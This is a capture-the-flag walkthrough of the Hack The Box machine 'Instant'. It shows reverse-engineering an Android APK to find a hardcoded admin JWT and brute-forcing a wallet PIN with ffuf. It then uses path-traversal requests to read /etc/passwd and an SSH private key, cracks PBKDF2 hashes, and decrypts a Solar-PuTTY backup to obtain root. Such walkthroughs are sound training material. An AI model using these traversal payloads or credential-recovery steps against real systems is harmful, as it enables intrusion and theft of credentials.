Instant

INTRODUCTION

Instant was released for week 11 of HTB’s Season 6, Heist. It’s about a company that provides a money transfer service - both an app and an accompanying API. While it’s marked as “Medium” box, I would personally rate this one more as an “Easy”. The most difficult aspect is having knowledge of the correct tools to use (and a bit of determination during enumeration).

The website urges us to download an app, in the form of an Android APK. By reverse-engineering this app, we find some poorly-protected secrets, but we can also find a couple subdomains that were (probably) previously unknown. One is the API that the app interacts with, and the other is a Swagger instance that documents the API. By analyzing the API and using a very basic attack, we can gain an easy foothold on the system.

Immediately after foothold, we can grab the user flag. From there, we can find the API’s source code and gain access to the database it interacts with. As is often the case, we are able to dump password hashes from the database and set to work cracking them. Please check out my tool for transforming these hashes into a format that plays nicely with hashcat. Continuing with local enumeration, we discover a stray backup file from some popular IT management software. The credential recovered from hash cracking allows us to decrypt the backup file, and escalate privilege via an overly-permissive remote access session.

This box was pretty straightforward. The main skill that is exercised by this box is reverse engineering. If you need a quick box, or you’re an RE enthusiast, this is the perfect box for you!

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No new results from the vuln scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE    VERSION
68/udp    open|filtered tcpwrapped
69/udp    open|filtered tftp
136/udp   open|filtered tcpwrapped
158/udp   open|filtered tcpwrapped
1026/udp  open|filtered win-rpc
1701/udp  open|filtered L2TP
2000/udp  open|filtered tcpwrapped
5060/udp  open|filtered sip
49193/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added instant.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=instant.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost root enum

Next I’ll check for subdomains of instant.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://instant.htb.

First, directory enumeration:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

dir enum 1

It’s a little odd that they have both js and javascript directories, but other than that everything seems normal. It might be worth doing file enumeration on the /downloads directory.

Next I’ll search for files in the downloads directory:

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/downloads/FUZZ -t 60 -ic -c -o fuzzing/ffuf-files-downloads -of json -e .php,.apk,.js,.html,.txt -timeout 4 -fs 276

file enum downloads

Interesting… there’s a file called instant.apk - clearly an Andoid application!

Exploring the Website

The website is basically the landing page for an app. What they provide is basically just a crypto wallet and a transaction service. There are links all over the page directing us towards instant.apk, which we found during enumeration.

index page

Scrolling down to the Blog section reveals that they’ve made some updates to security recently, and they support Android and iOS:

blog

instant.apk

Let’s try to take a look inside this package. For this task, I’ll use apktool. I’ll download the APK from http://instant.htb/downloads/instant.apk and place it in my source directory.

Next, I’ll decompile the APK:

apktool d source/instant.apk -o source/instant

That was successful, but we still don’t have a java project that we can look at - for that, we’ll need to use the handy dex2jar tool, which is bundled into kali as d2j-dex2jar:

cd source/instant
d2j-dex2jar classes.dex

While this reported some errors, it did actually produce a jar file for us. To view inside, we can use jd-gui. There are a lot of libraries inside here, but the app’s source code is within the com.instantlabs.instant namespace:

instant jar

A cursory check of the AdminActivities class reveals a subdomain that we didn’t find during enumeration. Better yet, they’re using a hardcoded Authorization header:

🤔 It looks a lot like a JWT. Those usually have a Authorization: Bearer [jwt] format though…

public class AdminActivities {
  private String TestAdminAuthorization() {
    (new OkHttpClient()).newCall((new Request.Builder()).url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() {
          public void onFailure(Call param1Call, IOException param1IOException) {
            System.out.println("Error Here : " + param1IOException.getMessage());
          }
          
          public void onResponse(Call param1Call, Response param1Response) throws IOException {
            if (param1Response.isSuccessful()) {
              String str = param1Response.body().string();
              try {
                str = JsonParser.parseString(str).getAsJsonObject().get("username").getAsString();
                System.out.println(str);
              } catch (JsonSyntaxException jsonSyntaxException) {
                System.out.println("Error Here : " + jsonSyntaxException.getMessage());
              } 
            } 
          }
        });
    return "Done";
  }
}

I’ll check this out in greater detail next 🚩

The REST of the API

There’s a bit more code that provides insight. Within the LoginActivity class, we can see a login endpoint (that should return an auth token just like the one we found in AdminActivities):

POST /api/v1/login
Body: JSON object with "username" and "password" keys
Returns: an access token JWT

Inside RegistrationActivity we see, unsurprisingly, the registration endpoint:

POST /api/v1/register
Body: JSON object with "username", "email", "password", and "pin" keys
Returns: a JSON with a key "Description" that never actually gets used

There’s also TransactionActivity that holds the main functionality of their service, sending money to other users:

POST /api/v1/initiate/transaction
Header: Authorization header JWT
Body: JSON object with "receiver", "amount", and "note" keys
Returns: a JSON with a key "Description" with a value of "Transaction Pending! Waiting For Pin!"

POST /api/v1/confirm/pin
Header: Authorization header JWT
Body: JSON object with "pin" key
Returns: a JSON with a key "Description" with a value of "Transaction Successful"

💡 If the backend code handles checking the pin badly, then we could very easily bruteforce the pin.

Authentication Header

Since it looks like a JWT, I attempted to decode it (using https://jwt.io). Turns out it decodes fine - it’s an HS256 JWT, with the following payload:

{
  "id": 1,
  "role": "Admin",
  "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
  "exp": 33259303656
}

Nice! I should see if that API still exists. To play around with this API, I’ll need to add it to my /etc/hosts file:

echo "$RADDR mywalletv1.instant.htb" | sudo tee -a /etc/hosts

Other API versions

Before I dive too deep into API v1, perhaps I should see if others exist. I’ll check for versions 1 to 9:

for i in $(seq 1 9); do echo "mywalletv$i" >> api_versions.txt; done
WLIST=api_versions
ffuf -w $WLIST -u http://$RADDR -H "Host: FUZZ.instant.htb" -c -t 60 -timeout 4 -mc all

other api versions

Looks like only mywalletv1 resolves to a vhost 👍

Other subdomains

Since we found one subdomain in the source code, it might be worth checking for other ones also mentioned in the source code. Any subdomain should match the pattern *.instant.htb (yes, I know that’s not as specific as a regex as I could make it), so we can just look for that term in the whole decompiled APK:

By doing it this way, I am not limiting myself to checking only the source code.

cd source/instant
grep -ilR 'instant.htb' ./

mentions of subdomains

Ok let’s take a look inside each of these, and see if they’re just mentioning mywalletv1.instant.htb again:

grep -ilR 'instant.htb' ./ | xargs -I {} sh -c 'echo "\nFILE: {} "; grep "instant.htb" --binary-files=text {}'

found extra subdomain

😮 Oh, whoa - The file res/8G.xml mentions a new subdomain that we had not seen before! Here’s the UTF-8 parsed binary contents:

inside xml file subdomain

We clearly see two subdomains in there:

  • mywalletv1.instant.htb, which we knew about from before
  • swagger-ui.instant.htb, unsure what this might be…

I’ll check these subdomains out next 🚩

mywalletv1 API

Now I’ll try out the API using curl:

trying the api

Not only is the API active, we’ve just verified that the JWT is still active! The admin profile details were handed back to us as JSON:

"Profile": {
    "account_status":"active",
    "email":"admin@instant.htb",
    "invite_token":"instant_admin_inv",
    "role":"Admin","username":"instantAdmin",
    "wallet_balance":"10000000",
    "wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"
}

From what I saw in the source code, I could probably send “money” from the admin user to a user of my choice, as long as I can determine this user’s pin.

Brooklyn 99 Let the heist begin

FOOTHOLD

Plan for the API

Let’s plan this out:

  • If the /POST /api/v1/confirm/pin requires that a transaction has already been issued, then I’ll need to…
    • register a new user
    • initiate a transaction
    • Brute force the pin
  • If the /POST /api/v1/confirm/pin doesn’t actually need a transaction, we can skip straight to it…
    • Brute force the pin

☝️ Either way, it might be smart to try registering a user first. Perhaps this will reveal what restrictions there are on the pin (how many digits, etc)

To check this out, I’ll whip up a Python program to interact with the API. Nothing too fancy: all it needs to do is submit the requests that I outlined in the API description I wrote earlier.

Every response should return JSON, so that makes things easy 🙂

The Python code itself is basically just plumbing, so I’ll leave that as an exercise to the reader.

Interacting with the API

As I mentioned earlier, it might be wise to try registering a user first - just to see if there are any restrictions on the pin:

if __name__ == "__main__":
    # Try registering a user
    resp = register("jimbob", "jimbob@fake.htb", "Password123!", "1")
    print("User registration:", resp)

api attempt to register a user

Perfect! Now we know the pin should be exactly 5 digits. Just so I have a user on-hand, I’ll change the pin to 12345 and register one now (jimbob : Password123! with pin=12345):

api registered a user

OK, now that the user is registered, I’ll log in:

if __name__ == "__main__":
    # Log in as jimbob
    resp = login("jimbob", "Password123!")
    print(resp)

api logged in as jimbob

Now that I have the jwt, I can view the profile of jimbob:

api logged in as jimbob 2

Brute-forcing the pin

I tried using my confirm_pin function to interact with /api/v1/confirm/pin, and seemed to work fine, but then I realized it was returning http 403 responses (and was running quite slowly)… instead of multithreading the program, why not just use ffuf?

for x in $(seq 0 99999); do printf "%05d\n" $x >> all_pin_numbers.txt; done
JWT="eyJhbGciOiJIU...EXKGtWZ6rYA"
ffuf -x http://127.0.0.1:8081 -w all_pin_numbers.txt:FUZZ -H "Authorization: $JWT" -H "Content-Type: application/json" -d '{"pin":"FUZZ"}' -u http://mywalletv1.instant.htb/api/v1/confirm/pin -fc 403

Here’s a sample of one of the requests:

api attempt to bruteforce pin

This gives me a little hope that the API doesn’t handle the PIN confirmation logic very well. i.e. we’re able to “confirm” a PIN even when a transaction has not been initiated 😂

After about 7 minutes, I got a result:

api attempt to bruteforce pin 2

api attempt to bruteforce pin 3

🤔 Hmm… There appears to be an error in the application when the PIN is confirmed. Maybe this error only occurs when no transaction has been initiated (in other words, it’s a logic flaw)?

I’d like to try sending jimbob some money, but when I read through the source code for the /initiate/transaction API endpoint, it’s not immediately clear what the receiver parameter is:

TransactionActivity

If I had to guess, it’s either:

  • The username of the receiving user
  • The wallet_id of the receiving wallet

✅ I tried both methods: using the wallet_id was the correct way.

I’ve modified my script to check both wallets’ balances, perform a transaction, then check the balances again:

if __name__ == "__main__":

    def print_both():
        print(view_profile(ADMIN_PROFILE['jwt']))
        print(view_profile(JIMBOB_PROFILE['jwt']))
        
    print_both()
    receiver = JIMBOB_PROFILE['wallet_id']
    resp = initiate_transaction(ADMIN_PROFILE['jwt'], receiver, 1, "Hey jimbob, here is one money for u")
    print(resp)
    resp = confirm_pin(ADMIN_PROFILE['jwt'], ADMIN_PROFILE['pin'])
    print(resp)
    print_both()

api attempt transaction

It seems like this is the right way to use the API, but I keep getting an HTTP 500 result for the pin verification… 🤔 Perhaps I’ll hold off the heist for now, and check out the other subdomain I found.

Swagger subdomain

I’ll add the subdomain to my /etc/hosts, then take a look at it:

echo "$RADDR swagger-ui.instant.htb" | sudo tee -a /etc/hosts

🤦‍♂️ Ahhh… I knew the name “Swagger” was familiar - it’s that popular API documentation software! Really kicking myself for not checking out this subdomain before playing with the mywalletv1.instant.htb API too much 😂

The API seems to be broken into three sections: Users, Logs, and Transactions. Additionally, there seems to be a separate set of admin endpoints that are available:

Swagger API description Users

Swagger API description Logs

Swagger API description Transactions

The /api/v1/admin/list/users endpoint seems useful:

api admin list users

Not only does this confirm that I had the right pin for the admin user, but now we see there is another previously-unknown user:

{
	"email":"shirohige@instant.htb",
    "role":"instantian",
    "secret_pin":42845,
    "status":"active",
    "username":"shirohige",
    "wallet_id":"458715c9-b15e-467b-8a3d-97bc3fcf3c11"
}

The /api/v1/admin/view/logs endpoint also references this user, which suggests that they may be the app developer! Let’s try reading that log file:

JWT="eyJhbGciOiJIUzI1NiIsI...qDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
curl -H "Authorization: $JWT" 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log'

api reading log file

Local File Inclusion

😂 OK, I think most people know where this is going now. This is a classic example of local file inclusion.

curl -H "Authorization: $JWT" "http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../etc/passwd"

api read etc passwd

Nice - that was super easy. Since we can access a regular user’s home directory, we might get lucky and find a private key for SSH:

curl -H "Authorization: $JWT" 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa'

api read ssh private key

🤑 Fantastic! Note that the highlighted section can be parsed directly as an array in many languages, including as a list in Python. I copied that text to the clipboard, then did the rest in python:

python3
>>> arr = [paste]
>>> for l in arr:
>>>     print(l.rstrip())
>>> quit()

From there, the SSH private key can be copy-pasted directly into a new file, using any text editor.

vim loot/id_rsa
[paste]
chmod 600 loot/id_rsa
ssh -i loot/id_rsa shirohige@$RADDR

ssh as shirohige

There we go! Fairly easy RCE on the box, once we finally checked out the other subdomain 😂

USER FLAG

🎉 The SSH connection drops you into /home/shirohige, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

Also in their home directory is the project directory for the mywalletv1 API that we were interacting with:

wallet API project files

The .env file contains some goodies:

SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
LOG_PATH=/home/shirohige/logs

A quick check of app.py verifies that the SECRET_KEY is used for signing the JWTs. Also, there’s an SQLite database instant.db, so I transferred that back to my attacker machine:

scp -i ./id_rsa shirohige@$RADDR:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db ./instant.db
sqlite3 instant.db
.schema
.mode csv
.separator :
select username,password from wallet_users;

Cracking the hashes

The hashes we obtained are PBKDF2-HMAC-SHA256 generated by Werkzeug’s generate_password_hash() function. You can see how the passwords are hashed by examining the /api/v1/register endpoint in app.py:

from werkzeug.security import generate_password_hash, check_password_hash
#...
@app.route("/api/v1/register", methods=['POST'])
def api_register():
    if request.method == 'POST':
        data = request.get_json()
        username = data['username']
        email = data['email']
        password = data['password']
        pin = data['pin']
        # ...
        if len(pin) == 5:
            user = User(username, email, wall_id, generate_password_hash(password, method="pbkdf2"), str(datetime.now()), int(pin), "instantian", "active")
            wallet = Wallet(wall_id, 0, f"{username}_{email[:3]}")
            db.session.add(user)
            db.session.add(wallet)
            db.session.commit()
            # ...

You can try it yourself like this:

python3
>>> from werkzeug.security import generate_password_hash
>>> pw_hash = generate_password_hash('rockyou', method='pbkdf2')
>>> print(pw_hash)
pbkdf2:sha256:600000$NJmGroHCwx0TCl0z$c10a63e2d93316572ba9d01d674fd720f1df549eb5cf5a35491aec6773d55387

We can interpret that hash like this:

  • PBKDF2 is the key derivation function
  • SHA256 is the hashing algorithm
  • 600,000 rounds/iterations of hashing were utilized
  • the next part is a base-64 representation of the salt
  • the final portion is the 32-byte hash in hexadecimal.

As far as I know hashcat doesn’t have a mode to handle these hashes directly. However, we can utilize mode 10900 as long as we transform the hash format a little:

mode 10900

After seeing this comment on Github, I wrote a small script for transforming the hash.

Check out my repo for handling PBKDF2-HMAC-SHA256 hashes for more detail. Specifically, we’ll use this script from my repo to transform the hashes we obtained into hashes processable by hashcat’s mode 10900.

If you found my script useful, please leave a ⭐

I’ll use that script to rewrite the hashes into a usable format:

transforming the hashes

Then toss the result into hashcat:

hashcat -m 10900 ../loot/wallet_users-5.hashes /usr/share/wordlists/rockyou.txt

A couple minutes later, one of the hashes was cracked:

cracked hash

Matching up the hashes, I see that’s for shirohige, so we’ve obtained the credential shirohige : estrella that was used with the mywallet API 🍀

ROOT FLAG

Local Enumeration - shirohige

To keep this walkthrough brief, I won’t record my whole local enumeration process. Instead, I’ll just jot down any notable results.

  • shirohige and root seem to be the only regular accounts on the box. There’s also www-data, but that’s probably just for Apache.
  • estrella is not the password to the local shirohige account, so I can’t check sudo -l
  • shirohige is the owner of /opt/backups, and the suspicious-looking directory inside it too: opt backups
  • There are two python-based servers running:
    • serve.py is running Swagger on 8088
    • app.py is running the API on 8888

The Solar-PuTTY backup file was the most interesting thing I found during enumeration, so I’ll grab a copy of it to examine locally:

cd loot
scp -i ./id_rsa -r shirohige@$RADDR:/opt/backups/Solar-PuTTY ./Solar_PuTTY

But what is this file? Some searching revealed that Solar-PuTTY is the SSH client that Solarwinds provides - it’s just like PuTTY but with some convenience features. There must be some kind of backup/export feature.

Examining Solar_PuTTY/sessions_backup.dat, it is clear that this is fully encoded as base-64 data (look at the character set on the righthand side):

solarputty data

However, it seems like it doesn’t decode into any valid UTF-8…

Maybe my best option is to just run Solar-PuTTY from wine? I downloaded a copy of it, and tried running it, but had no luck.

When I ran it using wine, I got an empty frame of a window where I was supposed to accept some Privacy policy that I couldn’t see.

By playing around with hitting Tab a variable number of times then hitting Enter, I was eventually able to accept this privacy policy that I couldn’t see, but then the application crashed entirely and will not run again.

Fun times. I love Windows /s 💔

I did a little research to try to find the format of this file, but the best I could find was this blog entry by a red-teamer that made a tool for decrypting the file. Unfortunately, their tool is written in C#, they didn’t leave an .exe and I seem unable to use dotnet to compile it on my own system.

Thankfully, some kind soul out there (@ItsWatchMakerr) made a Python version of the same program: it’s available right here, in their repo on Github. They seem to share my disdain for .NETframework.

git clone https://github.com/ItsWatchMakerr/SolarPuttyCracker.git
python3 -m venv .
source bin/activate
pip3 install pycryptodome
python3 SolarPuttyCracker/SolarPuttyCracker.py

SolarPuttyCracker

As expected, it takes a sessions_file. I’ll guess that it’s our sessions_backup.dat file that we exfil’d earlier. Also, either a password or wordlist is required.

May as well start out with checking for credential re-use, right? We found shirohige : estrella earlier by cracking the password hashes from the API application:

python3 SolarPuttyCracker.py -p estrella ../../loot/Solar_PuTTY/sessions-backup.dat

solarputty data decrypted

meme

Huh? That seems like it was too easy. I guess I had substantial assistance from the author of this tool (I still am not sure how they figured out exactly what encryption algorithm was being used by the Solar-PuTTY backup utility) - thanks again, @ItsWatchMakerr!

However, any complexity to this box could have been eliminated if I simply had a Windows box to use. Then, I could have simply used the official Solar-PuTTY exe and loaded the saved sessions from the .dat export by entering the password…

I.e. there are two easy ways to go about doing this:

  • Load the file, the way the developers meant it to be loaded
  • Use this cracking tool to obtain the session details

Let’s take a look inside the file it created, SolarPutty_sessions_decrypted.txt:

{
    "Sessions": [
        {
            "Id": "066894ee-635c-4578-86d0-d36d4838115b",
            "Ip": "10.10.11.37",
            "Port": 22,
            "ConnectionType": 1,
            "SessionName": "Instant",
            "Authentication": 0,
            "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
            "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
            "LastTimeOpen": "0001-01-01T00:00:00",
            "OpenCounter": 1,
            "SerialLine": null,
            "Speed": 0,
            "Color": "#FF176998",
            "TelnetConnectionWaitSeconds": 1,
            "LoggingEnabled": false,
            "RemoteDirectory": ""
        }
    ],
    "Credentials": [
        {
            "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
            "CredentialsName": "instant-root",
            "Username": "root",
            "Password": "12**24nzC!r0c%q12",
            "PrivateKeyPath": "",
            "Passphrase": "",
            "PrivateKeyContent": null
        }
    ],
    "AuthScript": [],
    "Groups": [],
    "Tunnels": [],
    "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

😂 Oh wow! That’s probably the root password. Let’s try it out:

su root
# use password: 12**24nzC!r0c%q12

got root flag

Nice - easy stuff! 🍰

cat /root/root.txt

EXTRA CREDIT

Grepping for subdomains

Partway through completing this box, I spent some time working on one of my tools, search-filesystem.sh. It’s a bash script that recursively searches all of the following:

  1. filenames
  2. contents of text files
  3. text-based contents of zip archives
  4. text-based contents of gzip archives

All you do is provide the starting/base directory and a list of regexes to search for.

I wanted to see if this tool could have been applied to find the subdomains mywalletv1.instant.htb and swagger-ui.instant.htb. To get started, I wrote a one-line regex into a patterns.txt file:

patterns txt

Then I ran the script over the code (the results of running apktool):

search-filesystem.sh source/instant 5 2 ./patterns.txt

search-filesystem

👏 Perfect! Using one simple regex, we can go through the source code and display the results easily 😁

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 👬 When you discover one subdomain, there might be more. Whatever method you used to discover the first subdomain, try to dive a little deeper to find more. It probably won’t take too long to f

  • 🐬 If you have two options for things to investigate, and they might take a long time to dive into, it’s best to just skip both of them before going too deep into one. I know that sounds a bit vague, but it’s a mistake I catch myself making all the time - I get excited about a certain quirk of a webpage, or find an exploit for something, all the while forgetting to investigate something easy right in front of me!

two crossed swords

Defender

  • 📆 Tokens should expire. Any authentication token should be a transient object. Otherwise, the service that the token is used for is open to attacks like session hijacking. In this box, we discovered a JWT within the instant.apk source code, and found that it was (for some reason) still valid! This could have been remedied by (A) not leaving secrets within the source code and (B) setting an expiry on the JWT.

  • 📉 Beware accidentally downgrading security. On this box, we found the root password (for remote connections) by cracking the password to some lazily-encrypted Solar-PuTTY data export file. In this case, we only needed to find a password to a file on the local machine, to be able to remote-access root. The administrator should have asked themselves whether it was wise to lock a file that allows remote connections as root, using a weak password that was available locally 😬


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake